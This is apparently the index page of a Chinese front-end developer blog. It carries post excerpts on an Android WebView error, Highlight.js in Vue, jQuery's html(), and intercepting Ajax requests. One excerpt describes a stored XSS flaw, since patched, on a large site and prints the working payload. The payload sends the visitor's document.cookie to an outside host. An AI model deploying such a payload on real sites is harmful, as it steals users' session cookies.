天天の記事簿

一個 蘿莉控 技術宅的世界

12/1
20:53

Android出现[object Event]错误

天天 出品 前端杂烩 木有吐槽

前段时间在日志里发现了大量由 H5 上报的错误，里面清一色的错误内容是 [object Event]。因为上报的是 message 字符串，很好奇为什么会记录了 [object Event] 这样的内容。

同时发现，出现这个内容的全是 Android 的旧版本，从 4.1 到 4.4 都有分布，于是又针对性地谷歌了下，发现了这篇 issue。

大概是说这是 Android 4.1 – 4.4 WebView 实现的一个 Bug….

 

大概的解决方法有两个：

typeof message === "object" && message.toString() === "[object Event]"

1、使用 for ... in 循环将 message 的内容取出来进行上报

2、忽略

 

我们选择了忽略错误，从此日志里再也没出息过这个错误了- -。

 

参考：

https://stackoverflow.com/questions/22806305/window-onerror-and-object-event

https://stackoverflow.com/questions/27214534/js-object-event-error-on-android-in-getsentry

https://github.com/getsentry/raven-js/issues/360

02/4
15:30

Vue使用Highlight.js高亮代码

天天 出品 前端杂烩 木有吐槽

技术博客里，最常见的就是代码了，没有语法高亮的代码，简直没法看下去。

常用的语法高亮 JS 库有 Highlight.js，Prism，SyntaxHighlighter 等等，它们的主要工作原理就是搜索 document 中的 <pre><code> 标签，再对其中内容进行正则匹配，识别出使用的语言并为某些内容添加 class，最后根据 CSS 渲染样式。

 

问题

最近在写一个博客应用（开发中），语法高亮交给前端完成，这里我选择了 Highlight.js 作为语法高亮插件。

因为做的是单页应用，前端框架使用的是 Vue，用 Webpack 作为脚手架，所以很自然地 npm i -S highlight.js 安装，之后把 hljs.initHighlightingOnLoad(); 添加到代码里…

欸？为什么明明 hljs 已经注册为全局变量了，但是高亮不工作？是不是我的姿势不对？

Read More →

08/29
21:30

jQuery中.html()的工作原理

天天 出品 前端杂烩 木有吐槽

上篇文章《html() 和 innerHTML 的小坑》我们分析了原生 JavaScript 的 element.innerHTML 和 jQuery 与 zepto.js 的 element.html() 两种方法在处理包含 <script> 标签的字符串时的异同。

本着知其然知其所以然的态度，我们这次从源码分析一下 element.html() 的工作原理，为什么 innerHTML 不能使其中的脚本执行，而 jQuery 的 html() 却可以，而 zepto.js 的只能执行内联脚本却不能加载外部脚本。

 

我们使用 jQuery 3.1.0 和 Zepto.js 1.2.0 的源码进行分析

jQuery Github

Zepto.js Github

Read More →

08/27
22:46

html()和innerHTML的小坑

天天 出品 前端杂烩 木有吐槽

jQuery 是最常用的一个 JavaScript 库，其中的 element.html() 是一个将 HTML 代码插入某元素的方法，而 element.innerHTML 是 JavaScript 原生的插入方法。

以前，因为没有使用的需求，所以一直单纯地认为 jQuery 的 element.html() 只是对 element.innerHTML 的一个简单封装，但是昨天，发现事情并没有这么简单。

 

老师说过，写文章要有起因、经过、结果，所以先说说故事起因。

 

起因

小伙伴在某企鹅网站上发现一个存储型 XSS 漏洞，因为他对前端不了解，所以叫我来帮忙绕过滤。该页面不仅会对输入内容进行过滤，并且有最高 50 字符的字数限制，虽然没有了解到完整的过滤规则，但是经过简单的测试发现过滤比较鸡肋，连 <script> 标签都能成功插入。但是比较坑的是，每个企鹅账号仅能提交 15 条信息，所以无法进行大量尝试。

页面不是加载完成后就能直接触发 XSS 漏洞的，而是点击评论按钮后，页面通过 Ajax 请求评论信息并插入 DOM，若评论信息中包含 XSS 代码，才会最终触发。

提交漏洞后企鹅快速响应，现在洞已经补上了，就公布一下当时可以利用的代码。

<svg/onload="window.location.href='http://xss.domain/?id='+document.cookie">

 

嗯，后面的内容其实和日站没啥关系了，都是对 element.innerHTML 和 html() 进行的测试对比。

Read More →

07/27
21:40

JavaScript监听全部Ajax请求的事件

天天 出品 前端杂烩 2发吐槽

最近博主在做一个小项目，引入了第三方 js 文件，这个文件会调用 XMLHttpRequest 向服务器发送 Ajax 请求，但是我有需要监听其 Ajax 请求的某些事件，以便额外地执行其他脚本。于是，稍微看了看监听 Ajax 请求的事件方法，在这里分享给大家。

 

若 Ajax 请求是由 jQuery 的 $.ajax 发起的，默认情况下可以使用 jQuery 的 Global Ajax Event Handlers 监听到 Ajax 事件，然而我遇到的却是用原生 JavaScript 发起的 Ajax 请求，所以这种方法行不通。

然后呢，还有其他方法，比如说 Pub/Sub，也就是 https://github.com/cowboy/jquery-tiny-pubsub 这个 jQuery 插件，但是这个发起请求的 js 代码我是无法改动的，也就不存在向代码里添加 publish 的问题。同理，jQuery 的 .bind 和 .trigger 也无法使用。

最后，决定使用直接 override XMLHttpRequest，同时配合使用自定义事件。

Read More →

11/4
18:12

无法解决的难题：代码高亮插件SyntaxHighlighter Evolved的行号问题

天天 出品 前端杂烩 2发吐槽

WordPress 的 SyntaxHighlighter Evolved 是一个可以高亮显示代码的插件，它使用方便，界面也非常好看，很适合技术博客使用。

但是，它有一个鱼与熊掌不可兼得的地方——行号和自动换行。

 

使用 2.x 版本，过长的代码会自动换行，使代码简单易看，可是，在复制多行代码的时候，会把行号一起复制进去，只有使用插件工具栏的 查看源代码 才能复制多行无行号的代码，非常不方便。

使用 3.x 版本，在复制时不再会复制到行号，同时它也不会自动换行了，过长的代码在显示时底部会出现横向滚动条，影响美观，使强迫症患者浑身难受。

于是，博主在想有没有什么办法能做到同时支持自动换行和避免行号被复制。

高能预警，前方文字包含本文剧透：然而…你懂的…标题告诉了你一切。想要自动换行，并且不复制到行号，不显示行号就行了 (￣ε(#￣) Σ

Read More →